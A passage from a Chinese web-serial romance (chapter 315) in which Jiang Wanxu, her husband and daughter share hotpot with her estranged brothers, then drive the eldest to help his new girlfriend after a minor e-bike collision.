他揉都没揉,就手足无措地咽了咽口水,看向两人,“你们来了。”
第315章 女朋友?
今天是周末。
聚缘饭馆的包厢里,火锅正咕嘟咕嘟地冒着泡。
桌边坐着五个人。
江晚絮,顾彦廷,安安。
还有坐在对面的江明泽,以及轮椅上的江明哲。
气氛有些尴尬,又有点莫名的和谐。
江明泽小心翼翼地烫了一片毛肚,犹豫了半天,才试探性地放进了江晚絮的碗里。
“晚晚,这个……七上八下,火候刚好,你尝尝。”
江晚絮神色淡淡。
“谢谢。”
江明泽见她没有拒绝,立刻眉开眼笑,“哎,好,好,喜欢吃就好。”
“爸爸,圆圆!”
安安指着锅里的虾滑,一脸的期待。
“好,爸爸给你弄。”
顾彦廷捞起一块虾滑,吹了又吹,确认不烫了才喂到安安嘴里。
喂完女儿,他又夹了一块牛肉,在油碟里滚了一圈,送到江晚絮嘴边。
“张嘴。”
江晚絮有些不好意思地看了一眼对面,“我自己来……”
“张嘴。”
顾彦廷坚持。
江晚絮脸一红,但还是顺从地吃了那块牛肉。
看着对面一家三口的互动,江明泽和江明哲相视而笑。
“对了,”江晚絮放下筷子,似是随口问道,“书店生意怎么样?”
江明泽受宠若惊,放下筷子,双手在膝盖上搓了搓,“还……还行。虽然赚得不多,但够我开销了。平时人不算多,挺清净的。”
“嗯。”江晚絮点点头,“清净点好。”
江明泽讪讪地笑着,“是啊,以前……以前太浮躁了。”
书里讲道理,讲亲情。
可惜,他读了半辈子的书,拿了那么多的学位,却连最基本的“人”字怎么写都没学会。
“三哥,”江晚絮目光转向轮椅上的三哥,“腿怎么样了?”
“老样子。”
江明哲苦笑一声,“能站几分钟,当个摆设罢了。不过我已经很知足了。”
几人聊天吃饭,气氛还算融洽。
快要结束时,江明泽的手机响了。
“抱歉,我接个电话。”
他拿着手机,侧身按下了接听键。
“喂,小雅?”
他的语气很温柔,听得江晚絮眉梢微挑。
可没两句话的功夫,江明泽的脸色就变了。
他“腾”地一下站了起来,焦急询问,“你在哪?有没有受伤?别怕……别怕,我马上过来!”
挂断电话,江明泽整个人都在发抖,脸色白得像纸一样。
“怎么了?”江晚絮下意识地问了一句。
江明泽有些慌张的掏出两张红票子放在桌上,“小雅出事了……”
“大哥,”江明哲一把拉住他的衣角,“慢慢说,到底出什么事了?”
江明泽急得满头大汗,语无伦次,“小雅……她出事了,在滨江路那边……我得马上过去……”
说完,他挣脱江明哲的手,跌跌撞撞地冲出了包厢。
包厢里安静了几秒。
江晚絮有些诧异地看向江明哲,“大哥谈恋爱了?”
在她的印象里,江明泽眼光极高。
当年江家还在鼎盛时期,江明泽的未婚妻可是京圈名媛林家的大小姐。
那个林小姐,江晚絮见过几次。
长得很漂亮,就是阳光很高,对江家很有些看不上。
后来江家一倒台,林家就连夜退了婚。
“大概是两个月前吧。”
江明哲笑着解释,“书店隔壁街有个小超市,小雅是那里的收银员。平时大哥去买东西,一来二去就认识了。”
“收银员?”
江晚絮愣了一下。
不是她职业歧视。
而是这反差实在太大了。
曾经非名媛不娶、满口量子力学相对论的江大博士,现在找了一个超市的收银员?
“是啊。”
江明哲似乎看出了她的想法,自嘲地笑了笑,“晚晚,是不是觉得挺讽刺的?”
“以前大哥总说,只有那个林小姐才配得上他的身份。”
“那个小雅……”顾彦廷一边给安安剥橘子,一边问,“知道你们以前的事吗?”
“知道一点吧。”
江明哲摇摇头,“但大哥没敢全说。”
说到这里,江明哲抬起头,眼神复杂地看着江晚絮,“晚晚,其实……大哥很珍惜这段感情。”
江晚絮抿了抿唇。
她确实没见过江明泽那么慌张的样子。
“顾彦廷。”
江晚絮突然转过头,看向身边的男人。
顾彦廷挑了挑眉,“嗯?”
“我想去看看。”
顾彦廷咽下橘子,似笑非笑,“去看笑话?还是去帮忙?”
“都有吧。”
江晚絮坦然道,“毕竟是‘前’大哥,虽然断绝了关系,但他到底是我的亲哥哥。而且……我现在有点好奇,能让大哥这么在意的女人,到底是什
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么样的。”
顾彦廷擦了擦手,站起身。
“行,听老婆的。”
他拿起车钥匙,顺手捞起安安,“那咱们就去看看。”
江明泽离开已经有一会儿了。
滨江路离这里不远,江明泽现在没有车,估计是直接跑过去的。
“三哥怎么办?”江晚絮看了一眼江明哲。
顾彦廷拿出了手机,拨通了一个号码。
“林舟,滚过来。”
电话那头,林舟都快哭了,“顾总,今天周日……”
“聚缘饭馆,十分钟。”
顾彦廷打断他,“年终奖翻倍。”
“五分钟到!”
只要钱到位,老板让干啥都行。
把江明哲交给随后赶到的林舟后,顾彦廷开车载着江晚絮和安安,朝着江明泽离开的方向追去。
江晚絮拿出手机,给江明泽打了个电话。
电话响了很久才接通。
那边全是风声和汽车鸣笛声,显然江明泽正在大街上狂奔。
“喂……晚晚?”江明泽气喘吁吁。
“你在哪?”江晚絮问,“我和顾彦廷开车过来了,送你一程。”
电话那头沉默了一秒,随即传来江明泽带着哭腔的声音,“谢谢……谢谢……我在那个……老街口那个公交站……”
五分钟后,顾彦廷的车停在了老街口的公交站旁。
江明泽正在路边招手拦车,但这会儿是晚高峰,出租车本来就少,更别说老城区了。
顾彦廷摇下车窗,看向江明泽,“上车。”
他赶紧关上门,开了后座车门。
“地址。”顾彦廷发动车子。
“滨江路……那个转盘那里。”
安安坐在儿童座椅上,手里抓着一个小玩偶,好奇地盯着江明泽看。
顾彦廷透过后视镜瞥了江明泽一眼,语气凉凉的,“说说吧,你那个小女朋友,到底出什么大事了?”
按照顾彦廷的思维逻辑,能让一个男人急成这样的,除非是天塌了。
江明泽咽了咽口水,有点局促。
“那个……其实……”
他支支吾吾半天,脸色通红,“其实……也不是什么大事……”
“不是大事你急得跟**爹似的?”顾彦廷毒舌属性爆发。
江明泽脸一白,“她……她骑电动车,不小心……把别人的车给撞了。”
江晚絮:“……”
顾彦廷:“……”
就这?